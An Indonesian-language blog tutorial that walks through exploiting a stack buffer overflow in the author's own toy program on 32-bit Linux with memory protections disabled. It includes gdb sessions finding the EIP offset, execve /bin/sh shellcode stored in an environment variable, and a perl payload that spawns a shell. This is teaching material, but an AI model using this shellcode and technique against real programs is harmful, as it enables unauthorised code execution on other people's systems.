Sepertinya kurang lengkap kemarin saya nulis artikel tentang membuat shellcode
tanpa tau bigimana manfaatin shellcodenya hehe. Pada kesempatan kali
ini saya akan menjelaskan contoh real bagaimana manfaatin shellcode itu
dengan memanfaatkan bug sebuah program. Untuk teori buffer overflownya
tidak akan dijelaskan secara detail lagi disini, rencananya saya cuma
pengen nulis dan capture hasil nya aja tanpa basa basi heheh. Jadi
diharapkan pembaca sudah mengetahui pembagian (segmentasi) memori,
register-register processor, dan
shellcode. Baiklah kita mulai saja men-demokan apa kah itu buffer overflow…
Teknik bufferflow adalah teknik untuk
memenuhi buffer pada program dengan code yang kita inginkan sehingga
melebihi kapasitas buffer. Hal ini terjadi karena tidak dilakukan
validasi pada buffer ketika pengisian buffer akan dilakukan. Contoh
analoginya: ambil air 500mL di gelas A untuk di tuang ke gelas B yang
cuma 100mL dah. Biasanya akan ada warning “Segmentation Fault” dan
program akan crash/exit. Sebenarnya kita bisa memanfaatkan segmentasi
yang overrun ini untuk hal-hal yang lebih menyenangkan daripada sekedar
lihat program crash dan exit.
Ini adalah program S9 = “sangat
sederhana sekali sehingga saya selalu sedih saat showing-nya” haha.
Program ini bekerja dengan cara membaca argumen yang dimasukkan user dan
akan ditampung ke buffer A. Di dalam program akan dilakukan penyalinan
buffer A ke buffer B. Tapi buffer B dirancang oleh sang programmer hanya
bisa muat dengan 3 bytes data. Saya memasukkan “abc” ke buffer. Seperti
ini lah tampilannya:
1 | inan@ubuntu:~/Desktop/bof/demo$ ./S9 abc |
2 | [ATURAN] buffer B hanya bisa menampung 3 bytes data |
3 | [BEFORE] ini buffer A masukan anda: abc |
4 | [BEFORE] ini buffer B sekarang: |
5 | [PROCESSING...] menyalin isi buffer A ke buffer B |
6 | [AFTER] ini isi buffer A: abc |
7 | [AFTER] ini isi buffer B: abc |
8 | inan@ubuntu:~/Desktop/bof/demo$ |
Dan ketika kita coba memasukkan input
yang lebih dari buffer B seperti terlihat di contoh ke-2 dibawah ini,
saya memasukkan “abcdefghijklmnopqrstuvwxyz” terjadi segmentation fault
pada program.
1 | inan@ubuntu:~/Desktop/bof/demo$ ./S9 abcdefghijklmnopqrstuvwxyz |
2 | [ATURAN] buffer B hanya bisa menampung 3 bytes data |
3 | [BEFORE] ini buffer A masukan anda: abcdefghijklmnopqrstuvwxyz |
4 | [BEFORE] ini buffer B sekarang: |
5 | [PROCESSING...] menyalin isi buffer A ke buffer B |
6 | [AFTER] ini isi buffer A: abcdefghijklmnopqrstuvwxyz |
7 | [AFTER] ini isi buffer B: abcdefghijklmnopqrstuvwxyz |
9 | inan@ubuntu:~/Desktop/bof/demo$ |
Mari kita lihat program ini lewat GNU Debugger untuk examine memori lebih dalam dan untuk kebutuhan exploitasi kita.
01 | inan@ubuntu:~/Desktop/bof/demo$ gdb S9 |
03 | Copyright (C) 2010 Free Software Foundation, Inc. |
04 | License GPLv3+: GNU GPL version 3 or later |
05 | This is free software: you are free to change and redistribute it. |
06 | There is NO WARRANTY, to the extent permitted by law. Type "show copying" |
07 | and "show warranty" for details. |
08 | This GDB was configured as "i686-linux-gnu" . |
09 | For bug reporting instructions, please see: |
11 | Reading symbols from /home/inan/Desktop/bof/demo/S9...(no debugging symbols found)... done . |
12 | (gdb) run abcdefghijklmnopqrstuvwxyz |
13 | Starting program: /home/inan/Desktop/bof/demo/S9 abcdefghijklmnopqrstuvwxyz |
14 | [ATURAN] buffer B hanya bisa menampung 3 bytes data |
15 | [BEFORE] ini buffer A masukan anda: abcdefghijklmnopqrstuvwxyz |
16 | [BEFORE] ini buffer B sekarang: |
17 | [PROCESSING...] menyalin isi buffer A ke buffer B |
18 | [AFTER] ini isi buffer A: abcdefghijklmnopqrstuvwxyz |
19 | [AFTER] ini isi buffer B: abcdefghijklmnopqrstuvwxyz |
21 | Program received signal SIGSEGV, Segmentation fault. |
24 | ebp 0x6f6e6d6c 0x6f6e6d6c |
25 | eip 0x73727170 0x73727170 |
Nah.. aturannya kan segmen memori untuk memproses program ini adalah:
- Buffer: 3 bytes
- Flags: 8 bytes
- EBP: 4 bytes
- RET/EIP: 4 bytes
- Variable-variable lain (kalau ada)
Berarti teorinya kalau 3 byte pertama
yang diterima adalah “abc”, terus karena isi buffer A masih banyak,
terjadi overflow… Sehingga “defghijk” (8 bytes) menimpa isi Flags,
“lmno” menimpa register EBP dan “pqrs” menimpa EIP. Nah setelah
diinspeksi isi register ebp adalah 0x6f6e6d6c yang mana kalau di
translasikan ke ASCII = “onml”. Lah kok kebalik bukan “lmno”? Ya, di
memory semua diurut terbalik karena arsitektur sistem saya adalah
menganut little endian format. Yah lanjut, kita cuekin saja isi register
ebp karena singkatnya inti exploitasi buffer overflow adalah ingin
menimpa register EIP dengan 4 bytes magic kita sendiri hahah. Yah isi
eip untuk kasus di atas menjadi “srqp”. Berarti kesimpulannya untuk
meng-overwrite EIP, “pqrs” harus kita ganti menjadi 4 bytes yang menuju
ke instruksi yang kita inginkan (misalnya memanggil shell dsb).
Masih penasaran.. sekarang saya coba
memasukkan karakter “abcdefghijklmnoAAAA” ke program S9 kita ini. Dengan
harapan seperti ini:
- Buffer: 3 bytes = abc
- Flags: 8 bytes = defghijk
- EBP: 4 bytes = lmno
- RET/EIP: 4 bytes = AAAA
Inilah hasilnya ketika di debug dengan gdb..
01 | (gdb) run abcdefghijklmnoAAAA |
02 | The program being debugged has been started already. |
03 | Start it from the beginning? (y or n) y |
05 | Starting program: /home/inan/Desktop/bof/demo/S9 abcdefghijklmnoAAAA |
06 | [ATURAN] buffer B hanya bisa menampung 3 bytes data |
07 | [BEFORE] ini buffer A masukan anda: abcdefghijklmnoAAAA |
08 | [BEFORE] ini buffer B sekarang: |
09 | [PROCESSING...] menyalin isi buffer A ke buffer B |
10 | [AFTER] ini isi buffer A: abcdefghijklmnoAAAA |
11 | [AFTER] ini isi buffer B: abcdefghijklmnoAAAA |
13 | Program received signal SIGSEGV, Segmentation fault. |
16 | ebp 0x6f6e6d6c 0x6f6e6d6c |
17 | eip 0x41414141 0x41414141 |
Oh benar saja ternyata eip sekarang
berisi hexa 0×41414141. Apakah itu huruf “A” yang mengganti “pqrs” tadi?
Ya huruf “A” dalam hexa adalah 0×41. Berarti sudah benar posisi target
injeksi kita. Sekarang tinggal injeksi register EIP dengan address
memori yang kita inginkan. Inget-inget… letaknya kalau diinjeksi dengan
urutan abjad setelah huruf “o”. Berarti pola kita untuk meng-overwrite
EIP unuk program ini adalah “15 bytes dummy data” + 4 bytes data spesial
yang akan meng-overwrite EIP. Nah, bagaimana kalau kita mau overwrite
EIP dengan hexa 0×42424242 di program ini? Berarti tinggal masukan saja
argumen “abcdefghijklmnoBBBB” ke program. Ngerti kan? Hehe..
SPAWN A SHELL
Sekarang kita ke contoh bagaimana
caranya program rutin yang error bisa memanggil sebuah shell? Pada
contoh kali ini asumsi fitur proteksi eksekusi (exec_sheild dan
randomize alamat memori pada kernel Linux sudah di matikan. Fitur
exec-shield adalah untuk mencegah program mengeksekusi code diluar
program. Sedangkan fitur randomize_va_space membuat alamat memori ketika
menjalankan program akan menjadi random. Matikan itu semua! hahahah…
Salah satu cara eksploitasi program ini
adalah dengan menyimpan sebuah variable yang isinya adalah shellcode ke
environment global shell. Sehingga kita akan export variable baru
bernama SC yang berisi shellcode kita. Setelah di export, variable SC
ini akan tersimpan di lokasi memori tertentu dan lokasi memori inilah
yang akan kita cari dan overwrite ke EIP.
kita sudah tau bagaimana cara membuat shellcode hingga bisa nongol file shellcode.txt ini hehe.
01 | inan@ubuntu:~/Desktop/bof/demo$ cat shellcode.txt |
02 | \x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 |
03 | inan@ubuntu:~/Desktop/bof/demo$ for i in $( cat shellcode.txt | cut -d \" -f2); do echo -en $i; done > shellcode.bin |
04 | inan@ubuntu:~/Desktop/bof/demo$ hexdump -C shellcode.bin |
05 | 00000000 31 c0 31 db 31 c9 31 d2 50 68 2f 2f 73 68 68 2f |1.1.1.1.Ph//shh/| |
06 | 00000010 62 69 6e 89 e3 50 53 89 e1 31 d2 b0 0b cd 80 |bin..PS..1.....| |
08 | inan@ubuntu:~/Desktop/bof/demo$ export SC=$( cat shellcode.bin) |
09 | inan@ubuntu:~/Desktop/bof/demo$ |
10 | inan@ubuntu:~/Desktop/bof/demo$ |
11 | inan@ubuntu:~/Desktop/bof/demo$ echo $SC |
12 | 1?1?1?1?Ph//shh/bin??PS??1? |
14 | inan@ubuntu:~/Desktop/bof/demo$ |
Yak sudah tersimpan di environment
dengan nama variable SC. Oke, sekarang mari kita kembali ke GNU Debug
(gdb) untuk mencoba mencari lokasi SC dan mengambilnya untuk nantinya
dimasukkan ke format inputan program “abcdefghijklmnoXXXX“.
01 | (gdb) run abcdefghijklmnopqrs |
02 | Starting program: /home/inan/Desktop/bof/demo/S9 abcdefghijklmnopqrs |
03 | [ATURAN] buffer B hanya bisa menampung 3 bytes data |
04 | [BEFORE] ini buffer A masukan anda: abcdefghijklmnopqrs |
05 | [BEFORE] ini buffer B sekarang: |
06 | [PROCESSING...] menyalin isi buffer A ke buffer B |
07 | [AFTER] ini isi buffer A: abcdefghijklmnopqrs |
08 | [AFTER] ini isi buffer B: abcdefghijklmnopqrs |
10 | Program received signal SIGSEGV, Segmentation fault. |
12 | (gdb) x/60s $esp + 0x200 |
13 | 0xbffff5c0: "S\357\226\372_\265\335Grf\212i686" |
20 | 0xbffff5d6: "/home/inan/Desktop/bof/demo/S9" |
21 | 0xbffff5f5: "abcdefghijklmnopqrs" |
22 | 0xbffff609: "ORBIT_SOCKETDIR=/tmp/orbit-inan" |
23 | 0xbffff629: "SSH_AGENT_PID=1357" |
24 | 0xbffff63c: "SHELL=/bin/bash" |
25 | 0xbffff64c: "TERM=xterm" |
26 | 0xbffff657: "XDG_SESSION_COOKIE=cfdd4f557767d56545519f8400000005-1324474801.529476-721973490" |
27 | 0xbffff6a7: "WINDOWID=60817411" |
28 | 0xbffff6b9: "GNOME_KEYRING_CONTROL=/tmp/keyring-FMmlCA" |
29 | 0xbffff6e3: "GTK_MODULES=canberra-gtk-module" |
30 | 0xbffff703: "USER=inan" |
31 | 0xbffff70d: "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31" ... |
32 | 0xbffff7d5: ":*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:---Type to continue , or q to quit--- |
33 | *.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.d"... |
34 | 0xbffff89d: "eb=01;31:*.rpm=01;31:*.jar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35" ... |
35 | 0xbffff965: ":*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4" ... |
36 | 0xbffffa2d: "v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*." ... |
37 | 0xbffffaf5: "yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;3" ... |
38 | 0xbffffbbd: "6:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:" |
39 | 0xbffffbfd: "SSH_AUTH_SOCK=/tmp/keyring-FMmlCA/ssh" |
40 | 0xbffffc23: "USERNAME=inan" |
41 | 0xbffffc31: "SESSION_MANAGER=local/ubuntu:@/tmp/.ICE-unix/1327,unix/ubuntu:/tmp/.ICE-unix/1327" |
42 | 0xbffffc83: "DEFAULTS_PATH=/usr/share/gconf/gnome.default.path" |
43 | 0xbffffcb5: "COLUMNS=80" |
44 | 0xbffffcc0: "XDG_CONFIG_DIRS=/etc/xdg/xdg-gnome:/etc/xdg" |
45 | ---Type to continue , or q to quit--- |
46 | 0xbffffcec: "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games" |
47 | 0xbffffd39: "DESKTOP_SESSION=gnome" |
48 | 0xbffffd4f: "_=/usr/bin/gdb" |
49 | 0xbffffd5e: "PWD=/home/inan/Desktop/bof/demo" |
50 | 0xbffffd7e: "GDM_KEYBOARD_LAYOUT=us" |
51 | 0xbffffd95: "GNOME_KEYRING_PID=1308" |
52 | 0xbffffdac: "LANG=en_US.utf8" |
53 | 0xbffffdbc: "GDM_LANG=en_US.utf8" |
54 | 0xbffffdd0: "MANDATORY_PATH=/usr/share/gconf/gnome.mandatory.path" |
56 | 0xbffffe0e: "GDMSESSION=gnome" |
57 | 0xbffffe1f: "SC=1\300\061\333\061\311\061\322Ph//shh/bin\211\343PS\211\341\061?\v?" |
58 | 0xbffffe42: "HOME=/home/inan" |
60 | 0xbffffe5a: "GNOME_DESKTOP_SESSION_ID=this-is-deprecated" |
61 | 0xbffffe86: "LOGNAME=inan" |
62 | 0xbffffe93: "DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-8Ey3roEp7D,guid=1bbb37e35c3cfc5e3669391000000061" |
63 | 0xbffffef5: "XDG_DATA_DIRS=/usr/share/gnome:/usr/local/share/:/usr/share/" |
64 | 0xbfffff32: "LESSOPEN=| /usr/bin/lesspipe %s" |
65 | 0xbfffff52: "WINDOWPATH=7" |
66 | ---Type to continue , or q to quit--- |
67 | 0xbfffff5f: "DISPLAY=:0.0" |
68 | 0xbfffff6c: "LESSCLOSE=/usr/bin/lesspipe %s %s" |
69 | 0xbfffff8e: "COLORTERM=gnome-terminal" |
70 | 0xbfffffa7: "XAUTHORITY=/var/run/gdm/auth-for-inan-16kobl/database" |
71 | 0xbfffffdd: "/home/inan/Desktop/bof/demo/S9" |
Lihat secara seksama gdb di atas.
Ternyata variable SC terletak di alamat memori 0xbffffe1f. Sebenarnya
yang dibutuhkan tentu isi variable SC yang tak lain adalah perintah ke
processor untuk mengeksekusi /bin/bash. Jadi processor tidak butuh
karakter “SC=” nya. Jadi, isi variable SC ada di alamat memori mana?
Gampang saja, tinggal tambahin alamat basisnya 0xbffffe1f dengan 3 bytes
(SC=). Sehingga alamat memorinya ada di 0xbffffe22 (0xbffffe1f + 0×3 =
0xbffffe22). Ini buktinya:
2 | 0xbffffe1f: "SC=1\300\061\333\061\311\061\322Ph//shh/bin\211\343PS\211\341\061?\v?" |
4 | 0xbffffe20: "C=1\300\061\333\061\311\061\322Ph//shh/bin\211\343PS\211\341\061?\v?" |
6 | 0xbffffe21: "=1\300\061\333\061\311\061\322Ph//shh/bin\211\343PS\211\341\061?\v?" |
8 | 0xbffffe22: "1\300\061\333\061\311\061\322Ph//shh/bin\211\343PS\211\341\061?\v?" |
Ya, itulah target memori pasti kita.. ada di 0xbffffe22!! Mari coba sekali lagi gdb, mestinya kita bisa mendapatkan shell jika kita tepat memasukkan alamat tersebut ke EIP.
01 | (gdb) run abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";' ) |
02 | Starting program: /home/inan/Desktop/bof/demo/S9 abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";' ) |
03 | [ATURAN] buffer B hanya bisa menampung 3 bytes data |
04 | [BEFORE] ini buffer A masukan anda: abcdefghijklmno"??? |
05 | [BEFORE] ini buffer B sekarang: |
06 | [PROCESSING...] menyalin isi buffer A ke buffer B |
07 | [AFTER] ini isi buffer A: abcdefghijklmno"??? |
08 | [AFTER] ini isi buffer B: abcdefghijklmno"??? |
09 | process 2051 is executing new program: /bin/dash |
15 | uid=1000(inan) gid=1000(inan) groups =1000(inan),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare) |
17 | /home/inan/Desktop/bof/demo |
Mari lihat runtutan cerita di atas ini
dengan seksama. Seperti kita ketahui, bagi program S9 kita ini, untuk
tepat menimpa register EIP adalah dengan memasukkan karakter pada buffer
ke-16, 17, 18, dan 19 (“abcdefghijklmnoXXXX“).
Sehingga yang akan kita lakukan adalah memasukkan karakter \xbf, \xff,
\xfe, dan \x22 ke EIP sehingga EIP terisi 0xbffffe22 yang mana itu telah
berisi shellcode perintah prosesor mengeksekusi /bin/sh.
1 | (gdb) run abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";' ) |
Untuk memasukkan 0xbffffe22 ke EIP
adalah seperti pada baris di atas itu. Saya menggunakan bantuan program
perl untuk membantu print karakter hexa \x22 \xfe \xff \xbf ke dalam
rangkaian inputan. Kalo diperhatikan, urutannya kebalik yah? Lagi-lagi
karena sistem prosesor saya (Intel/AMD family) menganut paham little
endian hahahah. Pada akhirnya EIP tertimpa dengan 0xbffffe22 dan return
program bukan kembali ke main function program tetapi malah memanggil
shell. Shell spawned.